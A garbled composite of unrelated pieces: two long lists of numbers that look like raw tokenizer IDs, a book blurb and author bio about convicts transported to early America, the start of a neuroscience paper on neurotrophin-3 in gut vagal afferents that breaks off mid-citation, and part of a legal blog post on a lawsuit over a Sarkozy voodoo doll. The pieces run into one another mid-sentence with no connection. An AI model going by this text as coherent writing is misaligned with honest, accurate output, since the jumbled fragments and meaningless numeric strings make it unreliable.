13, 310, 5667, 323, 253, 5788, 273, 247, 1781, 8394, 273, 12531, 267, 17872, 8512, 27, 475, 6369, 14, 20, 11, 285, 475, 1206, 76, 36, 11, 36152, 15396, 452, 5910, 283, 2504, 6, 285, 1638, 6, 2957, 273, 8512, 432, 253, 6913, 583, 14, 8337, 2921, 267, 10821, 38374, 2570, 13, 2975, 2479, 35, 1630, 1092, 1008, 35, 1717, 1092, 1008, 35, 3680, 1092, 1008, 35, 2759, 2498, 4129, 253, 2120, 2491, 273, 10844, 8571, 273, 841, 20483, 14, 20, 14, 6820, 12531, 267, 17872, 8512, 4558, 7202, 13, 12531, 267, 49066, 84, 326, 4470, 677, 366, 253, 1578, 40345, 3176, 281, 320, 2190, 731, 15, 496, 1798, 13, 4996, 356, 606, 77, 17135, 31936, 274, 12365, 313, 2431, 1843, 4587, 881, 12531, 267, 2543, 410, 37555, 326, 2063, 297, 4024, 275, 253, 34728, 6616, 3402, 403, 3777, 407, 7251, 285, 3387, 6, 275, 475, 6369, 14, 20, 11, 285, 475, 1206, 76, 36, 11, 37754, 15396, 13, 2975, 2479, 35, 3677, 2498, 187, 187, 510, 1329, 273, 12531, 267, 17872, 23586, 5788, 407, 20483, 14, 20, 812, 320, 14946, 407, 697, 2048, 275, 253, 6684, 6913, 583, 10821, 38374, 2479, 35, 1619, 6660, 253, 3998, 8424, 8571, 273, 6913, 583, 49066, 84, 13, 390, 407, 20483, 14, 20, 1246, 275, 24022, 285, 2393, 38047, 22496, 313, 23802, 10, 10649, 7944, 4470, 677, 456, 407, 12531, 267, 17872, 8512, 15, 20483, 14, 20, 2048, 275, 253, 5020, 273, 6684, 27552, 15384, 310, 8127, 11096, 281, 6032, 6616, 1341, 11616, 253, 8346, 8090, 273, 253, 6684, 12607, 13, 260, 886, 360, 13, 1355, 285, 1781, 540, 383, 1100, 13, 285, 253, 8099, 273, 2614, 12671, 326, 6186, 253, 27552, 10649, 2479, 35, 1610, 1092, 1008, 35, 1812, 2498, 1723, 13, 1016, 1963, 15646, 247, 4451, 2048, 3102, 15, 2053, 6127, 9184, 275, 2426, 273, 534, 6616, 3828, 12322, 20483, 14, 20, 2048, 13, 1880, 667, 3081, 7944, 12322, 2048, 13, 285, 253, 11935, 3102, 273, 2048, 15, 1198, 1650, 13, 20483, 14, 20, 310, 4469, 275, 253, 6684, 16519, 1758, 14045, 66, 275, 253, 271, 1206, 360, 285, 20689, 273, 253, 12607, 13, 533, 417, 275, 253, 16519, 1758, 14045, 66, 273, 253, 9741, 297, 607, 390, 540, 383, 1100, 15, 5220, 13, 20483, 14, 20, 2048, 6634, 387, 1029, 2308, 275, 27552, 6191, 15152, 28705, 313, 85, 15697, 3828, 432, 534, 27552, 6032, 6616, 310, 6012, 10, 407, 24022, 1388, 313, 38, 10, 805, 15, 496, 4499, 13, 20483, 14, 20, 2048, 275, 11172, 6032, 6616, 310, 806, 2540, 387, 444, 1010, 387, 1698, 2308, 326, 2559, 13237, 342, 2363, 15, 32384, 342, 247, 1896, 7680, 273, 27552, 20483, 14, 20, 281, 7248, 273, 12531, 267, 49066, 2440, 13, 1097, 492, 76, 36, 285, 492, 42574, 403, 4469, 407, 6913, 583, 10821, 38374, 8512, 432, 444, 1012, 281, 444, 1093, 2479, 35, 1619, 1092, 1008, 35, 2385, 1092, 1008, 35, 2537, 2498, 5488, 13, 12531, 267, 4470, 21752, 273, 253, 11479, 9513, 6684, 689, 253, 1072, 673, 6301, 347, 2048, 273, 6551, 85, 3838, 968, 285, 616, 10185, 15, 1198, 1650, 13, 6684, 12531, 267, 41382, 3135, 281, 41614, 253, 5170, 27552, 10649, 387, 444, 805, 13, 285, 12531, 267, 2543, 410, 37555, 3135, 281, 830, 275, 253, 6032, 6616, 3402, 387, 444, 1036, 2479, 35, 2082, 2498, 187, 187, 688, 1635, 281, 253, 1896, 7680, 273, 24022, 285, 2393, 38047, 27552, 20483, 14, 20, 2048, 281, 12531, 267, 17872, 23586, 5788, 13, 436, 2603, 273, 20483, 14, 20, 812, 452, 643, 2538, 327, 2440, 273, 12531, 267, 49066, 84, 15, 14117, 5231, 273, 20483, 14, 20, 452, 644, 7943, 275, 253, 17872, 285, 24152, 11219, 2718, 13, 1690, 9503, 275, 16069, 9827, 2479, 35, 1731, 6660, 43821, 3116, 2479, 35, 3156, 1092, 1008, 35, 2691, 6660, 285, 11083, 8351, 4702, 13, 1690, 8351, 1979, 285, 2605, 2479, 35, 3208, 1092, 1008, 35, 2597, 6660, 4248, 273, 3057, 273, 11083, 20737, 342, 616, 33402, 1341, 13, 285, 5788, 273, 616, 33402, 1341, 2479, 35, 19, 2498, 187, 187, 15545, 327, 253, 2538, 273, 475, 6369, 14, 20, 11, 25934, 327, 12531, 267, 17872, 23586, 5788, 285, 643, 7794, 273, 2440, 273, 17872, 285, 45852, 2718, 2529, 1840, 13, 359, 8131, 326, 253, 2173, 2957, 273, 20483, 14, 20, 432, 27552, 6032, 6616, 651, 13201, 2440, 273, 12531, 267, 17872, 4470, 21752, 273, 253, 27552, 10649, 285, 17912, 4796, 12531, 267, 7601, 281, 253, 3998, 15, 1916, 7409, 436, 9079, 13, 3754, 342, 3777, 20483, 14, 20, 2308, 275, 27552, 6032, 6616, 497, 4561, 970, 247, 17697, 3320, 12262, 5700, 13, 285, 12531, 267, 7601, 432, 11479, 281, 3998, 275, 841, 3754, 369, 7515, 407, 2677, 5411, 11484, 14, 6367, 5743, 273, 8512, 275, 253, 22285, 12531, 267, 2570, 313, 37, 12548, 10, 285, 2677, 5411, 4623, 11484, 3102, 285, 2494, 18317, 3602, 15, 187, 187, 15090, 31164, 52, 4889, 49044, 1712, 1704, 18, 94, 187, 18613, 187, 187, 1145, 21185, 1712, 1704, 18, 14, 18, 94, 187, 6846, 187, 187, 4118, 29301, 15, 1712, 1704, 18, 14, 18, 14, 18, 94, 187, 187, 11, 6955, 1423, 2141, 21237, 719, 8769, 905, 7676, 15, 1008, 35, 2950, 2194, 671, 6289, 281, 347, 475, 3675, 11500, 249, 21237, 719, 8769, 28, 42784, 9672, 12547, 6677, 14, 719, 5627, 18, 10759, 16, 43, 28, 5798, 15, 642, 15, 7449, 2504, 2950, 13, 500, 14942, 31497, 13, 4033, 28670, 13, 10616, 5290, 475, 6369, 14, 20, 21237, 40612, 23615, 8769, 313, 7676, 15, 1008, 35, 2227, 2194, 2797, 432, 418, 2610, 42413, 274, 25908, 582, 475, 6369, 14, 20, 21237, 34554, 77, 1004, 8769, 313, 7676, 15, 1008, 35, 21, 2194, 2797, 432, 3262, 18225, 29531, 582, 285, 475, 6369, 14, 20, 21237, 34554, 77, 1004, 14, 42184, 59, 8769, 313, 25598, 2708, 10, 3754, 497, 8838, 387, 3495, 3272, 36, 327, 247, 1249, 27, 805, 14, 73, 313, 1047, 27, 740, 288, 323, 19050, 10, 1708, 14, 19001, 10130, 13, 10654, 327, 387, 470, 5388, 13, 342, 519, 5135, 47599, 2289, 281, 13341, 1824, 285, 18196, 11064, 290, 23845, 608, 2874, 313, 49, 6402, 32212, 5625, 13, 659, 15, 7406, 13, 14789, 481, 1876, 7259, 497, 5196, 275, 8956, 342, 253, 475, 13652, 41, 16398, 323, 253, 9776, 285, 7890, 273, 18196, 29301, 11, 313, 25, 394, 1407, 904, 380, 3313, 27878, 5687, 13, 5041, 13, 9087, 10, 285, 2448, 7115, 323, 8874, 48001, 273, 18196, 18630, 9776, 9600, 285, 497, 7012, 407, 253, 367, 11180, 489, 2499, 18630, 9776, 285, 7890, 7039, 15, 187, 187, 4118, 416, 1050, 70, 323, 897, 273, 9947, 1423, 2141, 63, 719, 63, 3754, 281, 2303, 20483, 14, 20, 25934, 281, 6032, 6616, 15, 1712, 1704, 18, 14, 18, 14, 19, 94, 187, 187, 510, 475, 6955, 1423, 2141, 21237, 719, 8769, 6521, 7372, 369, 12845, 984, 352, 16382, 2067, 6866, 2424, 323, 5175, 253, 2554, 273, 27552, 20483, 14, 20, 275, 12531, 267, 49066, 2440, 285, 1159, 13, 347, 2529, 3786, 323, 27552, 3998, 14, 13472, 6551, 85, 16117, 2803, 313, 8561, 8016, 10, 2479, 35, 1706, 2498, 3973, 13, 2048, 273, 13501, 10774, 4805, 511, 275, 475, 6955, 1423, 2141, 21237, 719, 8769, 3754, 310, 8127, 11096, 281, 6032, 6616, 13, 253, 2022, 27552, 4408, 326, 30599, 20483, 14, 20, 2479, 35, 1610, 1092, 1008, 35, 1706, 1092, 1008, 35, 1812 ]

ship, and carried off to America, sometimes for the theft of a mere handkerchief. What happened to these convicts once they arrived in America? Did they prosper in an environment of unlimited opportunity, or were they ostracized by the other colonists? Anthony Vaver tells the stories of the petty thieves and professional criminals who were punished by being sent across the ocean to work on plantations. In bringing to life this forgotten chapter in American history, he challenges the way we think about immigration to early America. The book also includes an appendix with helpful tips for researching individual convicts who were transported to America. 2 Comments Yes. Unfortunately, most of the records of individual convicts who were transported reside in England and not in America. However, many of these lists have been compiled and published, most notably by Peter Wilson Coldham. Coldham’s The King’s Passengers to Maryland and Virginia lists convicts transported to these two colonies by time and ship. His CD-ROM, The Complete Book of Emigrants, 1607-1776, is more comprehensive and also lists indentured servants. You can also try The Proceedings of the Old Bailey and limit your search to Transportation as a punishment to find the trials of convicts who were transported from London and the surrounding area. Just Published: Early American Criminals About the author Anthony Vaver has broad expertise in the social and cultural history of crime and punishment and is the author of the Amazon.com bestselling books, Bound with an Iron Chain and Early American Criminals. He holds a Ph.D. from the State University of New York at Stony Brook and an M.L.S. from Rutgers University. He has never spent a night in jail, but he was once falsely accused of shoplifting. Contact Me. Support This Website All purchases made by going through the links on this website help to keep it running--whether you buy the products specifically listed or find something else you would rather purchase. Prices are exactly the same as if you went directly to the commercial website.[neurotrophin-3 (nt-3) is a]{.smallcaps} member of the mammalian neurotrophin family of secreted proteins. The high-affinity receptor for NT-3 is the receptor tyrosine kinase C, trkC ([@B52]), although NT-3 can also activate trkA or trkB ([@B14], [@B30]). Additionally, p75 can be independently activated by each neurotrophin, and it may partner with any one of the neurotrophin trk receptors to mediate specific neurotrophin responses ([@B10]). NT-3 supports the development of a wide range of peripheral sensory systems. For example, NT-3 deficiency is associated with the absence of auditory afferents that arise from the spiral ganglion, and somatosensory afferents that arise from the dorsal root ganglia (DRG). These include proprioceptive afferents and their peripheral sense organs (muscle spindles, Golgi tendon organs), D-hair afferent mechanoreceptors, and slowly adapting cutaneous mechanoreceptors and their associated Merkel cells, which are lost postnatally ([@B27], [@B29], [@B39], [@B53]). The loss of these somatosensory pathways, in particular those contributing to proprioception, are thought to contribute to the abnormal movements and difficulty feeding observed in *NT-3* knockout (KO) mice, which die by 3 wk of age. Also, partial NT-3 loss (in heterozygotes, +/−) results in partial loss of D-hair afferents and slowly adapting mechanoreceptors, but those that survive have normal function ([@B1]). In contrast, cutaneous overexpression of NT-3 leads to increased innervation of touch domes and hair follicles, including increased number of both Merkel cells and the DRG neuron cell bodies from which these afferents originate ([@B2]). NT-3, acting in part through activation of the receptor trkC, is essential for the survival of a large proportion of vagal sensory neurons: *NT-3* and *trkC* homozygous mutants have 34--47% and 14% loss of neurons from the nodose-petrosal ganglion complex, respectively ([@B27], [@B29], [@B58], [@B84]). Although the full range of peripheral targets of these NT-3-dependent vagal sensory neurons remains unknown, vagal afferents that innervate the esophagus appear to be among them. In particular, intraganglionic laminar ending (IGLE)-type vagal mechanoreceptors that predominate in the esophageal muscle wall are reduced by 65 and 40% in *NT-3* and *trkC* heterozygous mutants, respectively ([@B71]). The support of vagal sensory neuron survival by NT-3 could be mediated by its expression in the developing nodose ganglion ([@B28]), the brain stem targets of nodose afferents, or by NT-3 present in embryonic and early postnatal gastrointestinal (GI) tract tissues innervated by vagal sensory neurons. NT-3 expression in the majority of developing GI organs is largely restricted to smooth muscle cells comprising the outer layers of the developing stomach, cecum, small and large intestines, and the walls of blood vessels that supply the GI tract ([@B33], [@B36]). However, each organ exhibits a unique expression pattern. These patterns differ in terms of which muscle layer exhibited NT-3 expression, whether any additional tissues exhibited expression, and the temporal pattern of expression. For example, NT-3 is expressed in the developing lamina propria in the antrum and corpus of the stomach, but not in the lamina propria of the forestomach or intestines. Also, NT-3 expression occurs at high levels in GI mesenchyme (tissue layer from which GI smooth muscle is derived) by embryonic day (E)12. In contrast, NT-3 expression in vascular smooth muscle is first observed at E15 at low levels that increased gradually with age. Consistent with a possible contribution of GI NT-3 to regulation of vagal afferent development, both trkC and trkB are expressed by nodose ganglion neurons from E13 to E18 ([@B28], [@B48], [@B49]). Furthermore, vagal innervation of the gut begins developing over the same timeframe as expression of neurotrophins and their receptors. For example, developing vagal axons begin to populate the upper GI tract at E12, and vagal mechanoreceptors begin to form in the smooth muscle wall at E16 ([@B65]). In addition to the possible contribution of embryonic and early postnatal GI NT-3 expression to vagal sensory neuron survival, this source of NT-3 could have other effects on development of vagal afferents. Additional actions of NT-3 have been characterized in the sensory and sympathetic nervous systems, including roles in neuronal differentiation ([@B26]), axon growth ([@B41], [@B86]), and nerve terminal formation, including terminal size and structure ([@B56], [@B87]), degree of contact of nerve terminals with their accessory cells, and survival of their accessory cells ([@B2]). Based on the effects of *NT-3* KO on vagal sensory neuron survival and other aspects of development of sensory and autonomic systems described above, we predicted that the specific loss of NT-3 from GI smooth muscle would disrupt development of vagal sensory innervation of the GI tract and consequently reduce vagal signaling to the brain. To investigate this hypothesis, mice with reduced NT-3 levels in GI smooth muscle were generated using a conditional gene targeting strategy, and vagal signaling from gut to brain in these mice was assessed by quantifying meal-induced activation of neurons in the dorsal vagal complex (DVC) and quantifying relevant meal pattern and microstructure parameters. MATERIALS AND METHODS {#sec1} ===================== Animals {#sec1-1} ------- ### Animals. {#sec1-1-1} *SM22α*^*cre*^ \[Ref. [@B46]; also referred to as *transgelin*^*cre*^; Tg(*Tagln-cre*)1Her/J; cat. no. 004746, JAX Laboratories, Bar Harbor, ME\], *NT-3*^*neo/+*^ (Ref. [@B85]; obtained from Lino Tessarollo), *NT-3*^*+/lox*^ (Ref. [@B4]; obtained from Guoping Fan), and *NT-3*^*+/lox-lacZ*^ (described below) mice were maintained at 23°C on a 12:12-h (14:10 h for breeding) light-dark schedule, lights on at 0500, with ad libitum access to tap water and Laboratory Rodent Diet 5001 (PMI Nutrition International, St. Louis, MO). All procedures were conducted in accordance with the *NIH Guide for the Care and Use of Laboratory Animals* (8th ed., The National Academic Press, Washington, DC) and American Association for Accreditation of Laboratory Animal Care guidelines and were approved by the Purdue University Animal Care and Use Committee. ### Rationale for use of SM22α^cre^ mice to target NT-3 KO to smooth muscle. {#sec1-1-2} The *SM22α*^*cre*^ mouse strain was utilized because it meets several criteria required for testing the role of GI NT-3 in vagal afferent development and function, as described previously for GI brain-derived neurotrophic factor (BDNF) ([@B34]). First, expression of Cre recombinase in *SM22α*^*cre*^ mice is largely restricted to smooth muscle, the main GI tissue that expresses NT-3 ([@B33], [@B34], [@B36

[ 4677, 562, 4555, 835, 281, 3812, 253, 1386, 1060, 15, 733, 5868, 253, 20267, 326, 253, 3918, 9521, 13, 4560, 326, 824, 247, 16748, 816, 4566, 1512, 2080, 15, 1292, 352, 858, 5722, 779, 247, 25662, 2408, 275, 8540, 13, 285, 352, 2424, 253, 3257, 281, 2075, 4320, 4815, 15, 1893, 253, 906, 310, 326, 253, 6135, 4558, 327, 7289, 13, 285, 588, 3164, 6233, 253, 5882, 8783, 625, 275, 6383, 285, 275, 29957, 15, 5838, 671, 326, 253, 2303, 273, 253, 15091, 3133, 281, 452, 644, 253, 6135, 13, 285, 417, 253, 1984, 352, 43604, 13, 46312, 322, 782, 15393, 27, 2070, 637, 3814, 362, 5353, 276, 15, 187, 187, 688, 253, 530, 15, 52, 904, 323, 1650, 13, 309, 1353, 417, 2119, 247, 3569, 4677, 13, 3918, 11301, 390, 18718, 313, 395, 8505, 3517, 14, 936, 14, 1257, 9526, 273, 2418, 10, 9662, 13, 323, 1650, 13, 812, 3330, 247, 4176, 323, 3731, 13759, 318, 273, 521, 390, 617, 2460, 689, 253, 7289, 273, 824, 247, 6135, 15, 3973, 273, 512, 13, 253, 2460, 4453, 281, 479, 347, 604, 352, 434, 644, 13657, 13, 387, 1878, 247, 1652, 13, 285, 326, 778, 320, 2217, 281, 4017, 352, 313, 2887, 44948, 9064, 45878, 13, 323, 1650, 13, 285, 326, 1386, 273, 2219, 481, 6347, 13, 436, 310, 3569, 6519, 13, 285, 352, 434, 1061, 1197, 13, 6885, 407, 253, 3973, 10737, 313, 2887, 388, 461, 2146, 362, 15, 20055, 4714, 481, 5838, 13, 2299, 13, 326, 25689, 3697, 7523, 5282, 909, 1063, 23460, 271, 10128, 2567, 689, 247, 33131, 934, 2522, 6135, 896, 275, 6157, 28, 253, 4176, 369, 6524, 11371, 672, 253, 2567, 5821, 281, 10007, 253, 6135, 15, 187, 187, 2906, 4297, 1598, 13, 247, 3569, 4677, 1537, 1333, 326, 253, 346, 2377, 1156, 3, 1060, 310, 3520, 5237, 13, 347, 3918, 322, 782, 15393, 1057, 15, 329, 2608, 1537, 18607, 13, 949, 247, 362, 836, 3288, 6135, 13, 281, 2847, 5237, 13, 604, 253, 2608, 11532, 326, 5237, 476, 906, 15, 1292, 2556, 281, 362, 836, 3288, 3762, 13, 253, 6135, 1364, 320, 10501, 285, 3562, 3340, 281, 2818, 253, 5487, 15, 309, 1053, 626, 1158, 611, 7, 35, 31901, 841, 6135, 84, 281, 2847, 253, 3918, 3520, 5237, 313, 395, 253, 3918, 2506, 626, 2686, 9059, 326, 582, 984, 627, 434, 642, 1941, 326, 611, 7, 35, 11532, 326, 253, 6135, 84, 2686, 476, 2847, 779, 5237, 15, 2053, 6135, 84, 403, 18461, 546, 9425, 339, 13, 417, 5480, 275, 253, 5899, 362, 836, 3288, 1039, 6034, 390, 11205, 5742, 387, 247, 5487, 15, 9876, 3918, 322, 782, 15393, 2994, 1663, 2868, 326, 3095, 812, 2847, 779, 3520, 5237, 949, 897, 273, 841, 6135, 84, 32, 9876, 344, 2868, 326, 3095, 812, 2847, 779, 12435, 5237, 32, 9876, 344, 2868, 275, 362, 836, 3288, 32, 1680, 344, 7738, 326, 611, 7, 35, 434, 4096, 275, 10156, 253, 6135, 84, 310, 281, 11907, 952, 281, 1158, 670, 5237, 272, 779, 13, 643, 685, 281, 1056, 794, 273, 779, 32, 22469, 417, 13, 1580, 344, 11210, 626, 5575, 326, 15, 754, 434, 4518, 417, 5211, 326, 253, 2567, 556, 23775, 690, 273, 521, 5701, 313, 10387, 346, 3633, 3663, 368, 40479, 247, 9264, 13928, 3, 281, 247, 23800, 665, 1904, 626, 971, 281, 17941, 521, 1133, 481, 187, 187, 2042, 326, 310, 253, 2238, 273, 5237, 344, 434, 25917, 670, 13, 840, 4931, 8672, 3548, 626, 247, 1175, 5249, 323, 779, 13, 387, 1878, 417, 275, 253, 530, 15, 52, 15, 3856, 13, 247, 1302, 651, 3164, 417, 4089, 521, 5833, 342, 1199, 25528, 15, 346, 34595, 8288, 13, 253, 1569, 1057, 417, 2743, 253, 6860, 281, 25504, 8991, 16744, 347, 581, 534, 943, 4763, 1199, 26854, 3396, 13, 285, 352, 310, 3240, 34007, 326, 954, 13, 604, 417, 512, 13, 34853, 452, 6777, 281, 1056, 352, 5079, 314, 28824, 494, 835, 253, 2589, 275, 1953, 310, 10481, 346, 483, 14372, 528, 449, 1292, 275, 253, 1533, 273, 8881, 670, 1345, 13909, 13, 1142, 1841, 2218, 342, 29613, 326, 403, 1679, 685, 50063, 403, 6885, 407, 253, 3973, 10737, 449, 388, 461, 2146, 362, 15, 20055, 4714, 13, 40873, 530, 15, 322, 15, 8676, 313, 14619, 481, 187, 187, 1276, 247, 530, 15, 52, 15, 18468, 1537, 9059, 310, 326, 253, 22894, 273, 253, 6135, 313, 1439, 611, 7, 35, 10, 1537, 21424, 4588, 313, 284, 10066, 281, 18131, 3516, 10, 5237, 281, 253, 1524, 1436, 6607, 407, 253, 6135, 15, 1292, 1014, 594, 13, 253, 3569, 4677, 651, 452, 281, 11399, 253, 21444, 40260, 3603, 283, 24301, 406, 1974, 13, 1485, 262, 1003, 13, 31771, 5237, 283, 249, 1340, 281, 11399, 247, 3973, 10737, 5684, 15, 2064, 13, 275, 619, 4743, 13, 310, 3965, 2834, 13, 672, 368, 1472, 16425, 326, 253, 7935, 1319, 273, 5237, 310, 247, 362, 836, 3288, 6135, 13, 285, 1014, 604, 368, 403, 16425, 326, 253, 769, 3139, 283, 5302, 253, 6135, 283, 16534, 11907, 247, 2626, 268, 552, 281, 1529, 13, 625, 3520, 769, 15, 309, 1912, 626, 755, 715, 1880, 271, 26442, 22894, 13, 1907, 6888, 326, 253, 362, 836, 3288, 6135, 2686, 2506, 626, 789, 13, 556, 247, 1750, 1411, 253, 11662, 15, 187, 187, 4943, 434, 625, 327, 253, 322, 782, 15393, 15091, 432, 253, 5625, 31566, 33602, 15, 29430, 281, 4489, 253, 322, 782, 15393, 6135, 285, 17909, 11595, 32, 733, 434, 2130, 432, 10550, 6181, 846, 4565, 1458, 313, 783, 2670, 310, 4211, 562, 987, 1024, 481, 52, 350, 9448, 313, 1145, 20038, 14, 1898, 41508, 10, 37351, 187, 187, 1145, 20038, 14, 395, 41508, 34481, 403, 637, 14, 12710, 15991, 2905, 281, 5086, 2825, 187, 73, 526, 2487, 15, 346, 1145, 20038, 3, 10770, 281, 6616, 14, 22157, 13, 285, 346, 395, 41508, 3, 10770, 281, 187, 19687, 833, 42212, 5319, 15, 346, 52, 350, 9448, 3, 10770, 281, 253, 966, 273, 5835, 15, 187, 6872, 5835, 403, 2130, 17734, 760, 407, 17632, 13, 281, 1555, 2515, 326, 187, 30714, 672, 253, 2133, 11330, 32459, 595, 1698, 8322, 273, 29127, 13, 824, 347, 187, 7555, 19416, 13384, 39731, 285, 690, 3510, 273, 187, 11548, 302, 566, 15, 1583, 403, 671, 15588, 281, 1555, 187, 2915, 31160, 275, 1363, 342, 24482, 285, 643, 6578, 326, 906, 275, 2957, 273, 187, 282, 266, 6616, 2280, 15, 48020, 273, 271, 20038, 34481, 13, 2299, 13, 476, 1421, 281, 4092, 187, 15356, 3237, 13, 690, 38378, 15, 187, 187, 14569, 13, 17812, 285, 2571, 7242, 271, 20038, 34481, 281, 7278, 3045, 285, 187, 12563, 281, 3157, 3520, 7286, 15, 743, 20038, 34481, 403, 2668, 32939, 390, 187, 249, 6499, 13, 5431, 275, 11945, 273, 3618, 390, 2607, 313, 709, 13004, 281, 347, 346, 12642, 272, 8375, 187, 30786, 685, 14949, 15, 25053, 272, 8687, 3192, 2709, 12768, 273, 34481, 187, 1189, 247, 2173, 2180, 273, 673, 13, 15910, 323, 247, 2180, 13, 285, 4983, 969, 15, 496, 187, 29483, 13, 4212, 2223, 13398, 2067, 1027, 3510, 273, 34481, 281, 22950, 187, 14094, 12510, 1223, 28699, 4016, 2538, 313, 709, 13004, 281, 347, 187, 3, 9742, 272, 6788, 187, 15220, 401, 15, 4727, 15, 854, 3763, 313, 38460, 10, 187, 52, 301, 2191, 322, 59, 947, 45, 3123, 13, 6043, 13, 187, 87, 15, 187, 32618, 367, 15, 353, 28077, 3887, 1843, 13, 347, 22729, 263, 273, 21074, 27464, 13, 8167, 15, 187, 23429, 15, 1621, 15, 11805, 1012, 15, 187, 11586, 2077, 4412, 2111, 444, 15, 399, 15, 1457, 2816, 15, 187, 23375, 1638, 13, 23438, 15, 187, 11, 39948, 46637, 322, 8260, 20844, 13, 21249, 13, 427, 15, 714, 904, 354, 396, 15, 187, 44514, 472, 367, 15, 13856, 13, 530, 15, 322, 15, 26712, 904, 21249, 13, 427, 15, 714, 15, 313, 38, 25658, 1519, 611, 23509, 254, 13, 39379, 15, 530, 15, 322, 15, 26712, 904, 21249, 13, 427, 15, 714, 904, 273, 5067, 582, 323, 3257, 15, 187, 7941, 54, 2775, 10114, 3016, 1400, 13, 4412, 6798, 15, 187, 510, 3482, 4395, 323, 3553, 281, 1873, 271, 13799, 5833, 15, 754, 3916, 326, 2176, 3906, 17076, 369, 17571, 407, 253, 3257, 13, 22729, 263, 273, 21074, 27464, 13, 762, 247, 7501, 273, 940, 5335, 13, 323, 253, 2891, 9781, 273, 581, 34186, 32079, 13, 3690, 904, 285, 4211, 10376, 281, 753, 7501, 1078, 3482, 13, 271, 6834, 13, 1907, 271, 3906, 275, 2891, 16243, 434, 4444, 13, 24488, 436, 2250, 407, 5266, 285, 1340, 281, 921, 2847, 281, 3297, 253, 7289, 273, 824, 17076, 13, 23962, 326, 352, 369, 521, 2867, 15, 187, 28050, 253, 1091, 1388, 273, 253, 1340, 281, 921, 2847, 13, 253, 2111, 8042, 562, 326, 352, 651, 320, 273, 642, 1961, 281, 2523, 247, 3297, 13, 1580, 253, 2867, 369, 2168, 4211, 13, 533, 11460, 253, 5266, 281, 320, 4127, 347, 247, 5833, 275, 253, 2250, 15, 743, 3662, 369, 4724, 285, 253, 2250, 369, 8344, 323, 2332, 15, 187, 3404, 247, 37631, 4854, 13, 352, 3395, 5165, 326, 253, 5833, 13, 8445, 247, 3297, 13, 369, 14697, 15, 6043, 627, 20026, 1160, 436, 3200, 281, 15026, 521, 5833, 13, 23962, 253, 32288, 3192, 285, 33632, 323, 2583, 8540, 323, 253, 1318, 273, 253, 17076, 15, 187, 510, 2208, 12148, 326, 3916, 1411, 352, 403, 6283, 6195, 27285, 275, 253, 2111, 273, 27120, 15, 3900, 352, 19943, 326, 253, 7671, 4412, 33417, 452, 644, 1677, 7571, 275, 2176, 5231, 7668, 4812, 11784, 8213, 13, 352, 8219, 326, 436, 10384, 281, 27551, 13, 5727, 3482, 17086, 326, 344, 310, 417, 247, 22094, 15, 733, 8219, 2007, 326, 253, 21074, 27464, 6307, 4428, 2176, 2515, 342, 2743, 281, 19519, 407, 27551, 13, 285, 326, 1014, 604, 3482, 320, 275, 326, 966, 13, 344, 556, 417, 35037, 342, 841, 10132, 15, 187, 9244, 953, 275, 253, 3753, 273, 294, 713, 8498, 281, 46270, 253, 22729, 263, 273, 21074, 27464, 432, 10156, 2867, 17571, 407, 779, 403, 3982, 275, 253, 4412, 33417, 762, 13927, 3349, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 2164, 3571, 285, 2720, 19195, 13, 27906, 326, 2867, 2668, 762, 253, 11784, 5323, 310, 417, 294, 713, 87, 6051, 533, 2256, 281, 253, 2864, 265, 273, 253, 7829, 273, 253, 1986, 2077, 1907, 7571, 10445, 15, 187, 1147, 310, 11371, 1569, 326, 27370, 293, 21500, 290, 2626, 14, 2003, 447, 13, 3692, 2867, 556, 644, 2668, 407, 253, 22729, 263, 273, 21074, 27464, 323, 253, 2891, 9781, 273, 1529, 13, 778, 6558, 5231, 275, 253, 7671, 4412, 33417, 762, 436, 2593, 13, 281, 3297, 253, 7289, 10445, 13, 1293, 1146, 3033, 407, 10067, 273, 253, 21074, 27464, 6307, 17163, 17270, 19519, 42187, 253, 6803, 273, 2891, 313, 2666, 5466, 15, 10677, 1797, 273, 253, 21074, 27464, 6307, 273, 24178, 13, 3436, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 10677, 1797, 481, 8057, 362, 15, 416, 4542, 36357, 13, 475, 46014, 399, 15, 36, 15, 28211, 904, 33790, 401, 15, 28131, 28, 22343, 28082, 447, 362, 15, 530, 620, 1342, 13, 495, 4082, 904, 9199, 401, 15, 19, 69, 47064, 28, 6270, 77, 9258, 362, 15, 6212, 13, 818, 4082, 904, 12842, 401, 15, 19, 69, 854, 2904, 28, 416, 2843, 3348, 282, 362, 15, 1997, 3751, 13, 495, 4082, 904, 26484, 401, 15, 19, 69, 44733, 15, 187, 9244, 953, 1411, 253, 22729, 263, 273, 21074, 27464, 323, 2583, 8540, 13, 3798, 347, 3916, 323, 2891, 1275, 41748, 13, 403, 3982, 275, 253, 4412, 33417, 762, 13927, 3349, 530, 15, 52, 15, 36, 15, 34, 15, 3015, 2145, 1449, 285, 3438, 2074, 19195, 275, 253, 42591, 6307, 13, 4933, 7671, 4412, 33417, 7571, 273, 667, 5079, 2250, 14475, 762, 271, 3162, 273, 5759, 5277, 323, 4812, 11784, 15, 187, 47, 857, 293, 21500, 290, 2626, 14, 2003, 447, 452, 644, 11460, 281, 25457, 762, 436, 2593, 835, 616, 1600, 310, 759, 68, 328, 7855, 2581, 685, 41473, 590, 15, 27659, 362, 15, 5628, 23119, 273, 20249, 273, 21809, 13, 898, 4082, 904, 21748, 401, 15, 19, 69, 818, 2693, 28, 13338, 353, 3867, 708, 13173, 87, 1080, 2434, 15, 362, 15, 31026, 13, 399, 15, 36, 15, 56, 15, 37, 15, 41062, 904, 12643, 401, 15, 4727, 15, 898, 3079, 28, 3228, 273, 1457, 2816, 362, 15, 5635, 15973, 9537, 904, 399, 15, 36, 15, 322, 15, 37, 15, 47, 15, 58, 904, 16493, 401, 15 ]

figure out exactly where to draw the line here. It denied the injunction that the President requested, finding that such a remedy just goes too far. But it did award him a nominal amount in damages, and it required the defendant to pay legal costs. So the result is that the doll remains on sale, and will probably earn the firm lots more in customers and in publicity. Note also that the target of the lawsuit seems to have been the doll, and not the book it accompanies, Nicolas Sarkozy: Le manuel vaudou. In the U.S., for example, I'm not sure a political figure, President Bush or Senator (and apparently soon-to-be Secretary of State) Clinton, for example, could win a suit for misappropriation of his or her image over the sale of such a doll. First of all, the image looks to me as if it's been transformed, at least a little, and that may be enough to protect it (see Comedy Three Productions, for example, and that line of cases). Second, this is political speech, and it's parody, protected by the First Amendment (see Hustler v. Falwell). Note, however, that Arnold Schwarzenegger sued an Ohio company over a bobblehead doll back in 2004; the suit was eventually settled when the company agreed to modify the doll. Arguably, a political figure might say that the "subtext" here is physical harm, as President Sarkozy does. A user might intend, through a voodoo doll, to cause harm, 